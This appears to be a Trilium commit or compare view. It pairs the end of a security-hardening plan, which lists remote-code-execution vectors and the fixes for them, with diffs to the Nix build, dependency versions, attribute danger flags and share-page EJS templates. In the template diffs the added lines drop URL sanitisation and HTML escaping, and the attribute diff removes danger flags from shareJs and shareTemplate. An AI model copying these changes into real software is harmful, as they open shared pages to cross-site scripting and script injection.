|
||||
|
||||
After `preProcessContent(remoteEC, remoteEntityRow)` at line 92, before `sql.replace()` at line 94, add:
|
||||
|
||||
```typescript
|
||||
import attributeService from "./attributes.js";
|
||||
import { isScriptingEnabled } from "./scripting_guard.js";
|
||||
import log from "./log.js";
|
||||
|
||||
// In updateNormalEntity, after preProcessContent:
|
||||
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
|
||||
const attrRow = remoteEntityRow as { type?: string; name?: string; isDeleted?: number };
|
||||
if (attrRow.type && attrRow.name && !attrRow.isDeleted &&
|
||||
attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
|
||||
// Prefix dangerous attributes when scripting is disabled, same as safeImport
|
||||
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
|
||||
(remoteEntityRow as any).name = `disabled:${attrRow.name}`;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Verify TypeScript compiles**
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): filter dangerous attributes from sync when scripting is disabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 8: Restrict EJS share templates when scripting is disabled
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/share/content_renderer.ts` (skip user EJS templates when scripting disabled)
|
||||
|
||||
**Step 1: Add scripting check before EJS rendering**
|
||||
|
||||
In `renderNoteContentInternal`, wrap the user template check:
|
||||
|
||||
```typescript
|
||||
import { isScriptingEnabled } from "../services/scripting_guard.js";
|
||||
|
||||
// In renderNoteContentInternal, around lines 200-229:
|
||||
if (note.hasRelation("shareTemplate") && isScriptingEnabled()) {
|
||||
// ... existing EJS rendering code ...
|
||||
}
|
||||
```
|
||||
|
||||
When scripting is disabled, user-provided EJS templates are silently ignored and the default template is used instead. This prevents the unauthenticated RCE via share templates.
|
||||
|
||||
**Step 2: Verify TypeScript compiles**
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): skip user EJS share templates when scripting is disabled
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 9: Desktop auto-enable scripting
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/config.ts` (override Scripting.enabled for Electron)
|
||||
|
||||
**Step 1: Auto-enable for desktop**
|
||||
|
||||
After the `config` object is built, add:
|
||||
|
||||
```typescript
|
||||
import { isElectron } from "./utils.js";
|
||||
|
||||
// At the bottom, before export:
|
||||
// Desktop builds always have scripting enabled (single-user trusted environment)
|
||||
if (isElectron) {
|
||||
config.Scripting.enabled = true;
|
||||
config.Scripting.sqlConsoleEnabled = true;
|
||||
}
|
||||
```
|
||||
|
||||
Note: `isElectron` is already imported in utils.ts and is available. Alternatively, the `scripting_guard.ts` already checks `isElectron`, so this step may be redundant but makes the config object truthful.
|
||||
|
||||
**Step 2: Check if `isElectron` is available in config.ts scope**
|
||||
|
||||
If not available at module load time, the guard in `scripting_guard.ts` already handles this via `isElectron || config.Scripting.enabled`. This step can be skipped if circular import issues arise.
|
||||
|
||||
**Step 3: Commit**
|
||||
|
||||
```
|
||||
feat(security): auto-enable scripting for desktop builds
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Task 10: Add log warnings when scripting is enabled
|
||||
|
||||
**Files:**
|
||||
- Modify: `apps/server/src/services/scheduler.ts` or `apps/server/src/main.ts` (add startup warning)
|
||||
|
||||
**Step 1: Add startup log**
|
||||
|
||||
In the server startup path, after config is loaded:
|
||||
|
||||
```typescript
|
||||
if (isScriptingEnabled()) {
|
||||
log.info("WARNING: Script execution is ENABLED. Scripts have full server access including " +
|
||||
"filesystem, network, and OS commands. Only enable in trusted environments.");
|
||||
}
|
||||
```
|
||||
|
||||
**Step 2: Commit**
|
||||
|
||||
```
|
||||
feat(security): log warning when scripting is enabled at startup
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Summary of Protection Matrix
|
||||
|
||||
| Attack Vector | Before | After (scripting=false) | After (scripting=true) |
|
||||
|---|---|---|---|
|
||||
| `POST /api/script/exec` | Full RCE | **Blocked (403)** | RCE with restricted require() |
|
||||
| `POST /api/bulk-action/execute` (executeScript) | Full RCE | **Blocked (403)** | RCE with restricted require() |
|
||||
| `POST /api/sql/execute` | SQL execution | **Blocked (403)** | SQL execution |
|
||||
| `ALL /custom/*` | Unauthenticated RCE | **Auth required + scripting blocked** | Auth required + restricted require() |
|
||||
| `GET /share/` (EJS template) | Unauthenticated RCE | **Default template only** | RCE (user templates allowed) |
|
||||
| `#run=backendStartup` notes | Auto-execute on restart | **Not executed** | Executed with restricted require() |
|
||||
| Event handlers (`~runOnNoteChange` etc.) | Auto-execute | **Not executed** | Executed with restricted require() |
|
||||
| Frontend startup/widget scripts | Auto-execute on page load | **Not sent to client** | Executed |
|
||||
| Sync: dangerous attributes | Applied silently | **Prefixed with `disabled:`** | Applied normally |
|
||||
| `require('child_process')` | Available | N/A (scripts don't run) | **Blocked** |
|
||||
| `require('fs')` | Available | N/A (scripts don't run) | **Blocked** |
|
||||
| Desktop (Electron) | Always enabled | Always enabled | Always enabled |
|
||||
42
flake.nix
42
flake.nix
@@ -113,7 +113,7 @@
|
||||
[
|
||||
moreutils # sponge
|
||||
nodejs.python
|
||||
removeReferencesTo
|
||||
removeReferencesTo
|
||||
]
|
||||
++ lib.optionals (app == "desktop" || app == "edit-docs") [
|
||||
copyDesktopItems
|
||||
@@ -126,7 +126,7 @@
|
||||
which
|
||||
electron
|
||||
]
|
||||
++ lib.optionals (app == "server") [
|
||||
++ lib.optionals (app == "server" || app == "build-docs") [
|
||||
makeBinaryWrapper
|
||||
]
|
||||
++ lib.optionals stdenv.hostPlatform.isDarwin [
|
||||
@@ -153,7 +153,7 @@
|
||||
|
||||
# This file is a symlink into /build which is not allowed.
|
||||
postFixup = ''
|
||||
rm $out/opt/trilium*/node_modules/better-sqlite3/node_modules/.bin/prebuild-install || true
|
||||
find $out/opt -name prebuild-install -path "*/better-sqlite3/node_modules/.bin/*" -delete || true
|
||||
'';
|
||||
|
||||
components = [
|
||||
@@ -169,6 +169,7 @@
|
||||
"packages/highlightjs"
|
||||
"packages/turndown-plugin-gfm"
|
||||
|
||||
"apps/build-docs"
|
||||
"apps/client"
|
||||
"apps/db-compare"
|
||||
"apps/desktop"
|
||||
@@ -277,11 +278,46 @@
|
||||
'';
|
||||
};
|
||||
|
||||
build-docs = makeApp {
|
||||
app = "build-docs";
|
||||
preBuildCommands = ''
|
||||
pushd apps/server
|
||||
pnpm rebuild || true
|
||||
popd
|
||||
'';
|
||||
buildTask = "client:build && pnpm run server:build && pnpm run --filter build-docs build";
|
||||
mainProgram = "trilium-build-docs";
|
||||
installCommands = ''
|
||||
mkdir -p $out/{bin,opt/trilium-build-docs}
|
||||
|
||||
# Copy build-docs dist
|
||||
cp --archive apps/build-docs/dist/* $out/opt/trilium-build-docs
|
||||
|
||||
# Copy server dist (needed for runtime)
|
||||
mkdir -p $out/opt/trilium-build-docs/server
|
||||
cp --archive apps/server/dist/* $out/opt/trilium-build-docs/server/
|
||||
|
||||
# Copy client dist (needed for runtime)
|
||||
mkdir -p $out/opt/trilium-build-docs/client
|
||||
cp --archive apps/client/dist/* $out/opt/trilium-build-docs/client/
|
||||
|
||||
# Copy share-theme (needed for exports)
|
||||
mkdir -p $out/opt/trilium-build-docs/packages/share-theme
|
||||
cp --archive packages/share-theme/dist/* $out/opt/trilium-build-docs/packages/share-theme/
|
||||
|
||||
# Create wrapper script
|
||||
makeWrapper ${lib.getExe nodejs} $out/bin/trilium-build-docs \
|
||||
--add-flags $out/opt/trilium-build-docs/cli.cjs \
|
||||
--set TRILIUM_RESOURCE_DIR $out/opt/trilium-build-docs/server
|
||||
'';
|
||||
};
|
||||
|
||||
in
|
||||
{
|
||||
packages.desktop = desktop;
|
||||
packages.server = server;
|
||||
packages.edit-docs = edit-docs;
|
||||
packages.build-docs = build-docs;
|
||||
|
||||
packages.default = desktop;
|
||||
|
||||
|
||||
@@ -67,7 +67,7 @@
|
||||
"http-server": "14.1.1",
|
||||
"jiti": "2.6.1",
|
||||
"js-yaml": "4.1.1",
|
||||
"jsonc-eslint-parser": "2.4.2",
|
||||
"jsonc-eslint-parser": "3.1.0",
|
||||
"react-refresh": "0.18.0",
|
||||
"rollup-plugin-webpack-stats": "2.1.11",
|
||||
"tslib": "2.8.1",
|
||||
@@ -101,7 +101,7 @@
|
||||
},
|
||||
"overrides": {
|
||||
"mermaid": "11.12.3",
|
||||
"preact": "10.28.3",
|
||||
"preact": "10.28.4",
|
||||
"roughjs": "4.6.6",
|
||||
"@types/express-serve-static-core": "5.1.0",
|
||||
"flat@<5.0.1": ">=5.0.1",
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
"@codemirror/lang-xml": "6.1.0",
|
||||
"@codemirror/legacy-modes": "6.5.2",
|
||||
"@codemirror/search": "6.6.0",
|
||||
"@codemirror/view": "6.39.14",
|
||||
"@codemirror/view": "6.39.15",
|
||||
"@fsegurai/codemirror-theme-abcdef": "6.2.3",
|
||||
"@fsegurai/codemirror-theme-abyss": "6.2.3",
|
||||
"@fsegurai/codemirror-theme-android-studio": "6.2.3",
|
||||
|
||||
@@ -19,7 +19,6 @@ export default [
|
||||
{ type: "label", name: "runOnInstance", isDangerous: false },
|
||||
{ type: "label", name: "runAtHour", isDangerous: false },
|
||||
{ type: "label", name: "customRequestHandler", isDangerous: true },
|
||||
{ type: "label", name: "customRequestHandlerPublic", isDangerous: true },
|
||||
{ type: "label", name: "customResourceProvider", isDangerous: true },
|
||||
{ type: "label", name: "widget", isDangerous: true },
|
||||
{ type: "label", name: "noteInfoWidgetDisabled" },
|
||||
@@ -82,7 +81,6 @@ export default [
|
||||
{ type: "label", name: "webViewSrc", isDangerous: true },
|
||||
{ type: "label", name: "hideHighlightWidget" },
|
||||
{ type: "label", name: "iconPack", isDangerous: true },
|
||||
{ type: "label", name: "docName", isDangerous: true },
|
||||
|
||||
{ type: "label", name: "printLandscape" },
|
||||
{ type: "label", name: "printPageSize" },
|
||||
@@ -108,8 +106,8 @@ export default [
|
||||
{ type: "relation", name: "widget", isDangerous: true },
|
||||
{ type: "relation", name: "renderNote", isDangerous: true },
|
||||
{ type: "relation", name: "shareCss" },
|
||||
{ type: "relation", name: "shareJs", isDangerous: true },
|
||||
{ type: "relation", name: "shareJs" },
|
||||
{ type: "relation", name: "shareHtml" },
|
||||
{ type: "relation", name: "shareTemplate", isDangerous: true },
|
||||
{ type: "relation", name: "shareTemplate" },
|
||||
{ type: "relation", name: "shareFavicon" }
|
||||
];
|
||||
|
||||
@@ -93,7 +93,7 @@
|
||||
const logoWidth = subRoot.note.getLabelValue("shareLogoWidth") ?? 53;
|
||||
const logoHeight = subRoot.note.getLabelValue("shareLogoHeight") ?? 40;
|
||||
const mobileLogoHeight = logoHeight && logoWidth ? 32 / (logoWidth / logoHeight) : "";
|
||||
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? sanitizeUrl(subRoot.note.getLabelValue("shareRootLink") ?? "") : `./${subRoot.note.noteId}`;
|
||||
const shareRootLink = subRoot.note.hasLabel("shareRootLink") ? subRoot.note.getLabelValue("shareRootLink") : `./${subRoot.note.noteId}`;
|
||||
const headingRe = /(<h[1-6]>)(.+?)(<\/h[1-6]>)/g;
|
||||
const headingMatches = [...content.matchAll(headingRe)];
|
||||
content = content.replaceAll(headingRe, (...match) => {
|
||||
@@ -173,8 +173,7 @@ content = content.replaceAll(headingRe, (...match) => {
|
||||
const action = note.type === "book" ? "getChildNotes" : "getVisibleChildNotes";
|
||||
for (const childNote of note[action]()) {
|
||||
const isExternalLink = childNote.hasLabel("shareExternal") || childNote.hasLabel("shareExternalLink");
|
||||
const rawHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
const linkHref = isExternalLink ? sanitizeUrl(rawHref ?? "") : rawHref;
|
||||
const linkHref = isExternalLink ? childNote.getLabelValue("shareExternal") ?? childNote.getLabelValue("shareExternalLink") : `./${childNote.shareId}`;
|
||||
const target = isExternalLink ? ` target="_blank" rel="noopener noreferrer"` : "";
|
||||
%>
|
||||
<li>
|
||||
|
||||
@@ -57,6 +57,6 @@
|
||||
%>
|
||||
|
||||
<div class="navigation">
|
||||
<% if (previousNote) { %><a class="previous" href="./<%= previousNote.shareId %>"><%= previousNote.title %></a><% } %>
|
||||
<% if (nextNote) { %><a class="next" href="./<%= nextNote.shareId %>"><%= nextNote.title %></a><% } %>
|
||||
<% if (previousNote) { %><a class="previous" href="./<%- previousNote.shareId %>"><%- previousNote.title %></a><% } %>
|
||||
<% if (nextNote) { %><a class="next" href="./<%- nextNote.shareId %>"><%- nextNote.title %></a><% } %>
|
||||
</div>
|
||||
@@ -4,7 +4,7 @@ const isExternalLink = note.hasLabel("shareExternal");
|
||||
let linkHref;
|
||||
|
||||
if (isExternalLink) {
|
||||
linkHref = sanitizeUrl(note.getLabelValue("shareExternal") ?? "");
|
||||
linkHref = note.getLabelValue("shareExternal");
|
||||
} else if (note.shareId) {
|
||||
linkHref = `./${note.shareId}`;
|
||||
}
|
||||
|
||||
407
pnpm-lock.yaml
generated
407
pnpm-lock.yaml
generated
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user